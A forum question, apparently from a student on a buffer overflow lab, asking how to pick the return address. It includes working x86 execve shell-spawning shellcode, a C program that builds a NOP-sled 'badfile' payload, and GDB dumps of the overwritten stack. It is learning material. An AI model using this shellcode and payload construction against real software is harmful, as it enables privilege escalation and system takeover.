Buffer Overflow core dumped issues

I've read lecture notes on buffer overflows and understand how the buffer is setup to achieve the attack. However, what I really don't understand is how do we determine the address to jump to (for the return address).

Buffer setup

If I set the address to the NOP slide between the return address and the shellcode, I get "Illegal instruction (core dumped) Trace/breakpoint trap (core dumped)". The lecture notes states that the execution of any NOP code will eventually execute the malicious code. Pointing the address to the NOP sled on the right of the malicious code (with a higher memory address and not shown), I can get a "#" shell.

I do know that Ubuntu has little-endian encoding but am not sure whether it is relevant to this attack.


/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */

void main(int argc, char **argv)
    char buffer[517];

    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    //Fill up the buffer
    long *fill = (long *) buffer;
    int i;
    for(i=0;i<9;i++,fill++) *fill=0x90909090;

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);

GDB Output

(gdb) x/28x buffer
0xbffff118: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff128: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff138: 0x90909090  0xbffff170  0x90909090  0x90909090
0xbffff148: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff158: 0x6850c031  0x68732f2f  0x69622f68  0x50e3896e
0xbffff168: 0x99e18953  0x80cd0bb0  0x90909000  0x90909090 <- Shellcode in this line
0xbffff178: 0x70909090  0x90bffff1  0x90909090  0x90909090